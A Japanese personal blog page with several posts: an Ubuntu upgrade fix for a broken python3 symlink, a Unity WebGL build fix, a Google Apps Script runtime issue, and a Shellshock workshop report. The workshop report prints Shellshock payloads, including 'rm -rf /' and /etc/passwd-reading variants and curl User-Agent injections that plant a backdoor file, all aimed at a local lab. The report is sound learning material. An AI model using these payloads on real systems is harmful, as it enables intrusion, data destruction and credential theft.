建設予定地

当面はやったことの備忘録

Ubuntu 18.04(LTS)→20.04(LTS)アップグレードでハマったこと

以前Python3周りの環境構築でやらかして以降、放置していたUbuntuのアップグレード問題をようやく解決したお話。

前提

UbuntuはOS自体がpythonで動いているので、これを弄ると色々まずいことに。
なので、基本は別途に複数のバージョンをインストールしていくことになります。

Ubuntuを18.04(LTS)→20.04(LTS)にしたい

Ubuntuの最新バージョンへのアップグレードを行うには、以下の手順でやっていくことになります。

sudo apt update
sudo apt install update-manager
sudo apt dist-upgrade
sudo do-release-upgrade -d

ところがパッケージマネージャの処理でエラーが発生。

Your python3 install is corrupted. Please fix the '/usr/bin/python3' symlink

/usr/bin/python3Ubuntuで使用されているデフォルトのPython3バージョンを指すシンボリックリンク(ショートカットのようなもの)であり、
ここのpython3のバージョンがubuntuバージョンの標準のものでないとこのようなエラーが発生するケースがある、とのこと。

Ubuntu18.04で規定のバージョンはpython3.6.8ですが、自分の環境では手動でpython3.8としていました。

update-alternatives --config pythonpythonのバージョンを変更します。

sudo update-alternatives --config python とすることで、実行可能ファイルを確認することができる

以下のコマンドにより
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.6 2

python2、python3の指定した任意のバージョンをそれぞれ登録することができます。(この場合はpython2.7と3.6を実行可能ファイルとして登録できます)
ここで3.6を規定バージョンに変更。

python3 --version のコマンドでバージョンが3.6.8になっていることを確認します。

sudo ln -s /usr/bin/python3.6 /usr/bin/python3 でpython3.6のシンボリックリンクを再作成

が、うまくいかない。 バージョン依存の原因ではないらしい。
もっとシンプル(かつ厄介)で、python3のパッケージが破損しているということでした。

sudo apt-get install python3 を実行したところ、

dpkg: パッケージ libjna-java の処理中にエラーが発生しました (--configure):
パッケージが非常に矛盾した状態に陥りました。設定を試みる
前に再インストールすべきです。
処理中にエラーが発生しました:
python3

パッケージが非常に矛盾しているようです。怖いですね。

ステータスを調べてみる

dpkg -s cacti-spine とすると、

Status: install reinstreq half-installed

インストールが中断されて、半分インストールされた状態になっていた模様。

こういったケースでは-reinstallのコマンドが使えるとのことで、sudo apt-get install --reinstall python3
で再度python3をインストール。

インストールが成功していた場合
Status: install ok installed

となります。
ここでもう一度 sudo do-release-upgrade -dをして確認。
upgrade開始の確認が表示され、yNとすることで成功。

f:id:denham:20201019010820p:plain 無事20.04にアップグレードできました。

まとめ

python3のデフォルトバージョンはうかつに弄らない方がいい(あさはかでした)

参考

codechacha.com qiita.com serverlog.jp qastack.jp

SC4Y ('20#1) サイバーセキュリティ 脆弱性対応 (防災訓練)参加レポート

sc4y.connpass.com

北海道地域情報セキュリティ連絡会(HAISL)主催のセキュリティイベントSC4Yに参加しました。
Zoom+SlackとYoutube Liveを併用してのオンライン開催でした。

本イベントではshellshockを題材にしたハンズオン演習が行われたため、簡単なメモを残しておきたいと思います。

ShellShockとは?

GNU bash における任意のコマンドを実行される脆弱性(悪用できるバグ/セキュリティホール

jvn.jp

実際にバグが仕込まれたのが1993年、Stephane Chazelas氏がこれを報告したのが2014年9月9月の出来事とのこと。

ハンズオンでは、そこから修正パッケージが公開されるまでの一連の流れを攻撃者・防衛側の両サイドから検証する形で追っていきました。

PoCコードについて

PoC(Proof of Concept)コードとは、脆弱性を検証するためのテストコード
$env x='() { :;}; echo vulnerable' bash -c "echo test

envはshellの環境変数設定コマンド
bash -c "echo test"はシンプルなシェルのコード
x環境変数
本当は
env LANG C=dateなどというように使う
x='() { :;};で変数xに魔法の文字列() { :;};とコマンドが入れられている→怪しい

このコマンドを実行すると、想定される実行結果は
test
ですが、
使用している Bash のバージョンに脆弱性が含まれる場合は、 testの他に
vulnerable
という文字列が表示される
環境変数の文字列がコマンドとして実行されてしまうのが問題

echo vulnerable環境変数に攻撃的なコードを埋め込んでいる
たとえば $env x='() { :;}; rm -rf / ' bash -c "echo test" なら、rm -rfでデータをすべて消去
/bin/cat /etc/passwdとしたならアカウント情報窃取
という攻撃ができてしまう

LAB環境についての覚え書き

今回は比較的簡単に検証できる環境としてVirtual Boxを利用

NICというLANカードを介して
有線のLANポート、無線のアンテナのようなもの。

・LAB環境は脆弱性をわざと参照している
外部から攻撃されては困るので、NAT*1といわれる技術で隔離している。

・攻撃者と防衛側の一人二役で行う
Windowsの場合
Tera Termが防衛側(vNIC*2)、Power Shellが攻撃側(lo/ループバックアドレス*3

(攻撃側)偵察行動のコマンド例

windows powerShellの場合
.\curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php

もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php).Content

(攻撃側)拠点確立行動のコマンド例

.¥curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php).Content

curl:http通信
'().../local':User-Agentにbashコマンドを記法
http以下:CGIコンテンツを指定

SlackからPower Shell上にコピペするとcurl.exeの前の\(半角バックスラッシュ)が¥(半角円マーク)に
→そのままではエラーが出るので、Power Shell上で\に書き換えればOK

UserAgentにコマンドを入れるだけで攻撃が成立してしまう怖さ

被害の有無を調査する

shellsockの場合は影響範囲が広く、どこで影響を受けるかわからないため、ありとあらゆるログを見るべき。
たとえば

  • システムログ/var/log/messages
  • 認証ログ/var/log/secure
  • バイス関連ログ/var/log/dmesg/
  • 定期実行処理のログ/var/log/cron
  • メールのログ/var/log/maillog
  • httpdのログ/var/log/httpd/以下

その他にも、データベースを使っているならmysqlのログなど

不審なログを発見するために

異常時のログを見分けるために、正常時にはどんなログが流れているのか、どういう意味なのかを定期的に確認しておくのがよい。

学びとして

セキュリティの勉強はインプットが中心でモチベーションが続きにくく、アウトプットをするにはどうするのがよいだろうか?という質問がありました。
発展的なアウトプット手段としてはSecHack365*4やCTF*5・バグバウンティの紹介なども。

またセキュリティで扱うテーマはとても広いので、最初は興味を持った分野から掘り下げていくのがよいというお話でした。

まだまだ不勉強で理解が追い付かないところが多かったですが、内容の濃いお話がたくさん聞けました。
こうした学びの機会は貴重なので、機会があればぜひまた参加したいです。

www.amazon.co.jp

期末試験が終わったらこれを再開したい

*1:(NAT:Network Address Translation):プライベートIPアドレスグローバルIPアドレスに変換する技術
今回ではvirtaulBoxでsc4y用の仮想マシンを起動すると127.0.0,1 ssh(port22)が10.0.2.15(port22)に変換されるようになっている

*2:仮想NIC

*3:自分自身を指すアドレス,localhostのこと

*4:https://sechack365.nict.go.jp/

*5:Capture The Flag(旗取りゲーム)/別名ハッカーコンテスト

WebGLのビルドで苦戦した話

Unity 1 Week用の作品をUnity Roomに投稿しようと意気込み、Web GLにビルドできない問題が発生。

エラーを見てみると、Pathの設定に問題がありそうな一文が。

どうもプロジェクトフォルダ名とフォルダまでのパスに全角英数字が含まれているとダメらしい...。

 

やったこと

  • 念のためプロジェクト名の半角大文字を小文字に変更

大文字すら怖かった。

 

  • バックアップを取る

Assets→Export packageでアセットデータのエクスポート&フォルダごとコピー。

 

  • CloudBuildを試してみる

Successの表示を確認→ダッシュボートでプレイを実行してみたところ

The webgl build requested was not found

Edgeでもダメでした。こちらは保留。*1

forum.unity.com

 

  • Build先をドキュメントの外に変えてみた

C:\Users\[UserName]\OneDrive

初回はエラーで失敗。

 

再起動して試したところ無事処理が始まり、Node.jsファイアウォールでブロックされているという警告→アクセス許可で成功。

 

am1tanaka.hatenablog.com

 

追記

DドライブのDocumentsにWeb GLフォルダを作り保存

→こちらも無事成功。

 

まとめると、ビルドが上手くいかないときは

  1. フォルダ名とそこに至るまでのパス名の中に日本語全角がないか
  2. Node.jsがブロックされていないか

を確認してみるといいかもしれません。

 

思いのほか時間がかかってしまった。。

作品はunityroomで公開中です。

unityroom.com

右も左もわからない状態でしたが、なんとか形にはできました。

よければ遊んでみてください!

*1:UnityCloudBuildはUnity Teamsという有料サービスに統合されてしまっていたようです。WebGLへの出力にはプロ以上のライセンスが必要とのこと

GAS入門とV8ランタイム

せっかくAmazon Kindle Unlimitedの無料体験中なので、そろそろ本腰入れてGAS入門するぞ、とGoogle Apps Scriptステップアップガイドを始めてみた。

www.amazon.co.jp

以下、躓いた部分のメモ。

 

  • 発生した問題

doGetメソッドの実行でエラー

TypeError: output.append is not a function(行 12)

 

  • 該当箇所

// コード.gs

function doGet() {
var output =
HtmlService.createTemplateFromFile('index');
return output.evaluate().setTitle('Sample page');
}

function getData() {
return ["Windows","Mac OS X","Linux"];
}

 

// index.html

<style>
h1 {font-size:16pt;
background:#AAFFAA;padding:5px;}
p {margin:10px;}
</style>
<h1>Sample page</h1>
<ol>
<?
var datas = getData();
for(var i=0;i<=datas.length;i++){
if(datas[i]==undefined){ break; }
output*1.append('<li>'+datas[i]+'</li>');
}
?>
</ol>

  

  • 解決

V8ランタイムを無効にする

 

GASが旧RhinoランタイムからV8ランタイムに対応した関係*2で、一部の構文が使えなくなってしまった模様。V8ランタイムは現在のJavascriptの標準規格であるECMAScriptに準拠していて、こちらの方がよりモダンなJSを書けますよ、ということらしい。

今回はRhinoエンジンにダウングレードしたことで問題解消。

 

公式V8ドキュメント

developers.google.com

英弱なのでこちらも参照。

qiita.com

*1:GASの暗黙オブジェクト

*2:2020年2月6日より